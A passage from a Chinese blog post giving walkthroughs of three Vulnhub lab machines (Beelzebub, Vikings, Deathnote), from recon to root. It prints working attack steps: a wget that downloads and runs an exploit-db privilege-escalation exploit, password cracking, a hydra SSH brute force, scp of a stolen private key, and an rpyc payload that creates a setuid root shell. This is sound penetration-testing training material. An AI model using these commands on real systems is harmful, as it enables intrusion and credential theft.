靶机记录Beelzebub、Vikings、Deathnote

靶机记录

Target 1 Beelzebub

靶机下载地址 https://download.vulnhub.com/beelzebub/Beelzebub.zip

环境:靶机搭建IP 192.168.8.173、渗透机器IP 192.168.8.138

1、信息搜集

1.1、端口扫描
 sudo nmap 192.168.8.173 -p-

image-20230811230512601

1.2、服务识别
sudo nmap 192.168.8.173 -p22,80 -sV -A

image-20230811230632434

通过端口扫描我们发现22,80两个端口,一个是ssh服务,一个是http服务。

1.3、目录扫描

我们针对80端口进行目录扫描,使用gobuster目录扫描、字典/share/wordlists/dirb/big.txt,发现index.php目录

gobuster dir -u http://192.168.8.173 -w /opt/share/wordlists/dirb/big.txt -t 40 -x .php 

image-20230812000901456

源码中查看到“ ”翻译过来“我的心被加密了,“别西卜”不知怎么破解了它。-md5”,使用beelzebub MD5编码之后再跑一下目录

image-20230812000959929

beelzebub md5 之后是d18e1e22becbd915b45e0e655429d487

image-20230812001210248

使用dirsearch 扫描发现一个 uploads 目录下面有个路径[Talk To VALAK/] 可以访问 点进去查看到cookie中有个密码:M4k3Ad3a1

dirsearch -u http://192.168.8.173/d18e1e22becbd915b45e0e655429d487/  

image-20230812004033548

image-20230812004239190

1.4、wpscan扫描

开源的wordpress ,使用wpscan 扫描 出两个用户名:krampus、valak

wpscan --url=http://192.168.8.173/d18e1e22becbd915b45e0e655429d487/ --ignore-main-redirect --force  -e --plugins-detection aggressive

image-20230812003621994

2、漏洞利用

目前我们搜集到账号:krampus、valak,密码:M4k3Ad3a1,并且ssh端口是开放的,使用用户名krampus、密码:M4k3Ad3a1可以直接登录成功ssh

image-20230812004526850

3、权限提升

查看系统历史命令 .bash_hirstory 中看到下载了一个文件编译运行提权,照着操作一遍提权成功。

 cat .bash_history

'image-20230812012101042'

cd /tmp #切换到临时目录
wget https://www.exploit-db.com/download/47009 #下载文件
mv 47009 ./exploit.c #重命名
gcc exploit.c -o exp # 使用gcc编译并保存 exp
./exp #执行

image-20230812012446691

4、系统截图

系统截图证明:whoami 查看当前用户 、查看网卡、查看root.txt

image-20230812012534221

image-20230812012639413

5、 总结:

网页源代码中有提示目录多用几种扫描工具、Cookie中存在密码、wpscan扫描出所有用户名

Target 2 Vikings

靶机下载地址 https://download.vulnhub.com/vikings/Vikings.ova

环境:靶机搭建IP 192.168.8.105、渗透机器IP 192.168.8.138

1、信息搜集

1.1、端口扫描
sudo nmap 192.168.8.105 -p- 

image-20230812111440167

1.2、服务识别
sudo nmap 192.168.8.105 -p22,80 -sV -A

image-20230812111626881

通过端口扫描我们发现22,80两个端口,一个是ssh服务,一个是http服务,http有一个site目录

1.3、目录扫描
gobuster dir -u http://192.168.8.105/site -w /opt/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.passwd,.txt

image-20230812121122568

发现war.txt 目录访问war.txt

image-20230812121210610

继续访问/war-is-over,是一串base64

image-20230812121317400

保存下来,使用base64解码重定向文件,并查看文件类型

image-20230812121531664

cat 1111.txt | base64 -d >1111
file 1111

image-20230812121655354

文件是个压缩包,解压需要密码,放在kali中爆破一下密码,解压密码:ragnarok123

mv 1111 1111.zip
zip2john 1111.zip >1.txt
john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt

image-20230812122452772

输入密码解压出来是个king图片文件,使用binwalk查看图片是否有隐藏文件

binwalk king 

image-20230812132611070

binwalk king -e # 可以提取出来隐藏文件

image-20230812132735386

image-20230812132755168

有两个文件,一个user 像是存放用户名和密码的

image-20230812132840512

拿到用户floki 密码f@m0usboatbuilde7

2、漏洞利用

因为靶机开放了22端口,所以我们使用账号密码登录一下,完美登录成功!

image-20230812133018067

3、权限提升

用户目录下有两个文件,分别查看一下

image-20230812135904567

查看readme.txt "I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don’t know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.

Because it was I who was leading all the Vikings. I need to find him. He can be anywhere.

I need to create this boat to find Ragnar" 翻译:我是著名的造船工人弗洛基。我们竭尽全力突袭了巴黎,但我们失败了。我们不知道战后拉格纳在哪里。他现在很伤心。我想向他道歉。

因为是我在领导所有的维京人。我需要找到他。他可以在任何地方。

我需要创建这艘“船”来找到拉格纳 Ragnar

image-20230812135933992

查看boat.txt 文件

#Printable chars are your ally.

#num = 29th prime-number.

collatz-conjecture(num)

image-20230812140654258

readme.txt 中说的意思是找到 Ragner ,这应该是个用户,但是不知道密码。

boat 文件中说的是 collatz-conjecture (考拉兹猜想),又称为3n+1猜想等,是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1。如n = 6,根据上述数式,得出 6→3→10→5→16→8→4→2→1。boat 中的意思是求第 29 个素数的 collatz-conjecture 结果,网上差的结果是 29th Prime Number = 109 。所以写个小脚本

def collatz(x):
        result = [109]
        while x != 1:
                if x % 2 == 1:
                        x = (3 * x) + 1
                else:
                        x = (x / 2)
                if x <= 255:
                        result.append(int(x))
        return result

print(collatz(109))

image-20230812152225005

运行得到:[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

在使用10进制转str 在线网址:https://gchq.github.io/;1:From Decimal、2:Strings 、3:find replace 得到密码:

mR)|>^/Gky[gz=.F#j5P(

image-20230812152100946

使用这个密码切换到ragnar用户下。

su ragnar # 输入密码 mR)|>^/Gky[gz=\.F#j5P(

image-20230812152618831

升级为交互式shell

1:python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

image-20230812152918631

查看当前用户目录下运行了rpyc

image-20230812153314932

这个还是 ragnar 用户多出来的,那就监听一下 tcp 连接:

image-20230812153440407

利用rpyc 提权网上查资料找到一段代码 将root权限的命令直接复制过来使用python3执行一下这段代码,会在tmp目录下多一个文件bashroot

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')

fn = conn.teleport(getshell)
fn()

image-20230812154606284

image-20230812154642322

ragnar@vikings:/tmp$ ./bashroot -p #在tmp目录下执行

image-20230812154720477

4、系统截图

系统信息和用户

image-20230812154812435

flag:4bf930187d0149a9e4374a4e823f867d

image-20230812154841845

5、 总结:

1:用到了binwalk king 查看图片是否有隐藏文件 binwalk file.jepg -d 导出隐藏文件

2:利用file查看文件类型

3:10进制转string密码

4:利用rpyc提权

Target 3 Deathnote

靶机下载地址 https://download.vulnhub.com/deathnote/Deathnote.ova

环境:靶机搭建IP 192.168.8.197、渗透机器IP 192.168.8.138

1、信息搜集

1.1、端口扫描
sudo nmap 192.168.8.197 -p- 

image-20230812170153562

1.2、服务识别
sudo nmap 192.168.8.197 -p22,80 -sV -A

image-20230812170848065

通过端口扫描我们发现22,80两个端口,一个是ssh服务,一个是http服务。

1.3、目录扫描

访问一下192.168.8.197 跳转到了一个域名:http://deathnote.vuln/,配置一下host在访问

image-20230812171227538

sudo vim /etc/hosts # 添加 192.168.8.197 deathnote.vuln

使用gobuster 目录扫描一波 http://deathnote.vuln/wordpress/

gobuster dir -u http://deathnote.vuln/wordpress/ -w /opt/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 40

image-20230812172934551

浏览器访问是wordpress直接上wpscan 扫描一波

image-20230812172854342

wpscan --url=http://deathnote.vuln/wordpress/wp-login.php -e#然而并没有扫描出来可利用的东西

image-20230812210719336

换一个目录扫描工具dirsearch继续扫描

dirsearch -u http://deathnote.vuln/wordpress

image-20230812210848772

访问http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/ 目录下有user.txt,和notes.txt.

image-20230812210951731

user.txt

KIRA
L
ryuk
rem
misa
siochira 
light
takada
near
mello
l
kira
RYUK
REM
SIOCHIRA
LIGHT
NEAR

notes.txt

death4
death4life
death4u
death4ever
death4all
death420
death45
death4love
death49
death48
death456
death4014
1death4u
yaydeath44
thedeath4u2
thedeath4u
stickdeath420
reddeath44
megadeath44
megadeath4
killdeath405
hot2death4sho
death4south
death4now
death4l0ve
death4free
death4elmo
death4blood
death499Eyes301
death498
death4859
death47
death4545
death445
death444
death4387n
death4332387
death42521439
death42
death4138
death411
death405
death4me

2、漏洞利用

通过信息搜集,我们搜集到了用户名和密码样子的字典,尝试用hydra爆破ssh,得 login: l password: death4me

 hydra -L user.txt -P passwd.txt 192.168.8.197 ssh -V -f

image-20230812211354520

使用ssh登录

image-20230812211540504

3、权限提升

查看.ssh目录下有个私钥,尝试用私钥登录其他用户,拷贝到攻击机

scp id_rsa kali@192.168.8.161:/home/kali/targets

image-20230812215215448

给id_rsa 600的权限 使用证书登录成功!

chmod 600 id_rsa 									#权限
ssh kira@192.168.8.197 -i id_rsa #使用证书

image-20230812215349453

查看用户目录下文件有个kira.txt,使用base64解码出来:please protect one of the following 1. L (/opt) 2. Misa (/var)

image-20230813130211245

根据提示进入/opt目录下看看 一步一步进入到fake-notebook-rule目录下有两个文件

image-20230813130437018

分别查看这两个文件内容,case.wav 里面给出一组16进制数,hint 提示用cyberchef解密

image-20230813130558784

使用from hex 和base64 解码出来:passwd : kiraisevil

image-20230813130732804

尝试用这个密码切换到root账号

kira@deathnote:~$ sudo su
[sudo] password for kira: 
root@deathnote:/home/kira# whoami
root
root@deathnote:/home/kira# 

image-20230813130911941

4、系统截图

系统信息和用户

image-20230813131027316

flag:and share this screen shot and tag @KDSAMF

image-20230813131047874

5、 总结:

1、通过目录扫描获取到了账号密码字典,使用hydra爆破出ssh账号密码。

2、在爆破出来的账号目录下拿到私钥,登录另外的账号。

3、在账号目录下根据提示去到/opt目录下找到两个文件,使用from hex和base64解码出来密码。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值